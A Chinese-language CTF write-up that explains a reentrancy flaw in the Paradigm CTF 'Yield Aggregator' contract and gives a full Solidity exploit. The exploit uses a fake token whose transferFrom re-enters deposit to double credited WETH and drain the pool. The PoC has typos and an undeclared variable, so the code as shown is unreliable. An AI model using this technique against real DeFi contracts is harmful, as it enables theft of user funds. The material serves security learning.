Paradigm CTF - Yield Aggregator

本题目是比较经典的重进入,本文尝试用Samczsun提出的四步法来解答该题目。即找到外部调用,判断外部调用是否可以被利用,是否满足三种外部调用模式,尝试利用它。

image.png

本题目是比较经典的重进入,本文尝试用Samczsun提出的四步法来解答该题目。即找到外部调用,判断外部调用是否可以被利用,是否满足三种外部调用模式,尝试利用它。

当然欢迎加我的微信woodward1993或者关注我的公众号,公众号名字是bug合约写手,最近公众号涨粉有点慢:)

三种可利用模式分别是:

模式一:外部调用前写数据

为什么外部调用前写数据是一种可被利用的外部调用模式呢?因为函数内部的外部调用与在函数外调用的区别在于合约的执行流程会转移到外部调用上,即目标合约的执行流程会由外部调用函数控制。如果不调用目标合约的该函数,则不会发生写数据的事件。如果一个外部调用前写数据,则可以通过外部调用再去调用目标合约的函数,就可以反复写入数据。

模式二:外部调用后读数据

如果一个函数存在着在外部调用后读取数据的逻辑,则首先判断下外部调用是否可以影响后面读取的数据的值,如果可以通过外部调用影响外部调用后的读取的值,则我们可以再外部调用中,尝试先去改变该值的状态。

模式三:外部调用前读数据,经过外部调用再写数据

这是经典的重进入问题,检查-调用-生效模式导致的重进入。外部调用前读数据,通常是做一些检查,调用后再写数据,通常是更新系统的状态。由于外部调用执行时,肯定已经通过了前方的检查,故此时的外部调用可以再重进入该方法,绕过检查,从而实现重进入。

查看setup合约,可以看到, 成功的条件是bank合约的WETH余额为0,聚合器合约aggretor的WETH余额为0

function isSolved() public view returns (bool) {
    return weth.balanceOf(address(aggregator)) == 0 &&
        weth.balanceOf(address(bank)) == 0;
}

合约漏洞点:

最近看到好多合约都是有For循环的重进入,本题也不例外。

function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
    uint256 balanceBefore = protocol.balanceUnderlying();
    for (uint256 i= 0; i < tokens.length; i++) {
        address token = tokens[i];
        uint256 amount = amounts[i];

        ERC20Like(token).transferFrom(msg.sender, address(this), amount);
        ERC20Like(token).approve(address(protocol), 0);
        ERC20Like(token).approve(address(protocol), amount);
        // reset approval for failed mints
        try protocol.mint(amount) { } catch {
            ERC20Like(token).approve(address(protocol), 0);
        }
    }
    uint256 balanceAfter = protocol.balanceUnderlying();
    uint256 diff = balanceAfter - balanceBefore;
    poolTokens[msg.sender] += diff;
}

第一步:找到外部调用

本题目中的外部调用是很明显的:

ERC20Like(token).transferFrom(msg.sender, address(this), amount);
ERC20Like(token).approve(address(protocol), amount);

第二步:外部调用是否可被利用:

从deposit的逻辑可以看到,token的地址是由用户提供,且其并未验证token地址的合法性。故我们可以自己构造一个ERC20Like的合约地址,自己实现transferFrom方法,从而该外部调用可以被利用

第三步:是否存在3种可利用模式:

可以看到在外部调用ERC20Like(token).transferFrom后面有balanceAfter,即存在外部调用后读数据这一可利用模式。

使用balanceBefore和balanceAfter这种快照模式来计算用户存入金额有如下两个好处:

  1. 避免了类似于USDT的开启转账手续费的Token,对于开启转账手续费的Token,提起转账1000U给合约,合约实际上只收到了900U。自然合约不能给用户1000U对应的积分,而只能是900U对应的积分
  2. 避免了用户存入垃圾代币来换取合约的积分,使用balanceAfter-balanceBefore只查询合约认可的代币的余额,垃圾代币会被自动过滤。

第四步:如何利用外部调用后读数据恶意模式

从上面的分析可以看到,外部调用ERC20Like(token).transferFrom后,合约会去读protocol.balanceUderlying()。首先第一个想法自然是:在外部调用中是否能够存在一个逻辑来影响protocol.balanceUnderlying()的值。

ERC20Like public override underlying = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH

function balanceUnderlying() public override view returns (uint256) {
    return underlying.balanceOf(address(this));
}

protocol.balanceUnderlying()的代码逻辑可以看到:如果我在transferFrom这一个外部调用中,向protocol合约地址存入WETH,则我可以在外部调用中影响balanceAfter的值。但是仅仅是向protocol合约转账WETH显然不是我的目标。如果我的这笔WETH转账能给我带来相应的积分就会很好,这样我就既影响了balanceAfter的值,又得到应得的积分。

故思路一:在transferFrom中,通过mint发送WETH, 即:

ERC20Like public override WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH
bool reentryAllowed = true;
function transferFrom(address src,address dst,uint256 qty) external returns (bool){
    if (reentryAllowed) {
        reentryAllowed = false;
        uint amount = x;
        WETH.approve(address(MiniBank), amount);
        MiniBank.mint(amount);
    }
    return true;
}
function mint(uint256 amount) public override {
    require(underlying.transferFrom(msg.sender, address(this), amount));
    balanceOf[msg.sender] += amount;
    totalSupply += amount;
}

这样做的问题是什么? 首先要分析下此时的合约执行流程:

deposit -> transferFrom -> mint(in transferFrom) -> mint(in deposit)

即合约执行了两次mint,但是每次mint都在mint函数内部扣除了对应的WETH,作为攻击者的我并没有占到便宜。

思路二:在transferFrom中,通过deposit发送WETH,即:

ERC20Like public override WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);//WETH
bool reentryAllowed = true;
function transferFrom(address src,address dst,uint256 qty) external returns (bool){
    if (reentryAllowed) {
        reentryAllowed = false;
        uint amount = x;
        address[] memory tokens = new address[](1);
        tokens[0] = WETH;
        uint[] memory amounts = new uint[](1);
        amounts[0] = x;
        deposit(protocol, tokens, amounts);
    }
    return true;
}

则此时的合约执行流程变为:

deposit(fakeToken) -> fakeToken.transferFrom -> deposit(WETH) -> mint(WETH) -> poolTokens += diff -> mint(fakeToken) -> poolTokens+= diff

这个执行流程能够成功的原因是:

mint(fakeToken)报错后,在上层deposit中并没有及时抛出,而是执行了一个try,catch

try protocol.mint(amount) { } catch {
    ERC20Like(token).approve(address(protocol), 0);
}

这样就可以通过重进入的方式获得多一倍的账户积分。

一个完整的POC为:

pragma solidity 0.8.0;
import "./Setup.sol";
interface ERC20Like {
    function transfer(address dst, uint256 qty) external returns (bool);
    function transferFrom(
        address src,
        address dst,
        uint256 qty
    ) external returns (bool);
    function balanceOf(address who) external view returns (uint256);
    function approve(address guy, uint256 wad) external returns (bool);
}
constract Exploit is ERC20Like{
    ERC20Like public WETH = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Setup public setup;
    YieldAggregator public aggregator;
    MiniBank public bank;
    constrcutor(address _setup) publice payable {
        require(msg.value == 50 ether, "Exploit/contractor ETH value should be 50 ether");
        setup = Setup(_setup);
        aggregator = setup.aggregator();
        bank = setup.bank();
        address[] memory tokens = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        tokens[0] = address(this);
        amounts[0] = 50 ether;
        aggregator.deposit(bank,tokens,amounts);
        address[] memory tokens_withdraw = new address[](1);
        uint256[] memory amounts_withdraw = new uint256[](1);
        tokens_withdraw[0] = address(WETH);
        amounts_withdraw[0] = 100 ether;
        aggregator.withdraw(bank,tokens_withdraw,amounts_withdraw);
    }
    function transferFrom(address src,address dst,uint256 qty) external returns (bool){
        if (reentryAllowed) {
            reentryAllowed = false;
            uint amount = 50 ether;
            address[] memory tokens = new address[](1);
            tokens[0] = WETH;
            uint[] memory amounts = new uint[](1);
            amounts[0] = amount;
            aggregator.deposit(bank, tokens, amounts);
        }
        return true;
    }
    function balanceOf(address who) external view returns (uint256) {
        return WETH.balanceOf(address(this));
    }
    function approve(address guy, uint256 wad) external returns (bool) {
        return true;
    }
    function transfer(address dst, uint256 qty) external returns (bool) {
        return true;
    }
}

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2021-08-25 22:50
  • 阅读 ( 266 )
  • 学分 ( 15 )
  • 分类:智能合约

相关问题

2 条评论

请先 登录 后评论
bixia1994
bixia1994

互联网小工

34 篇文章, 275 学分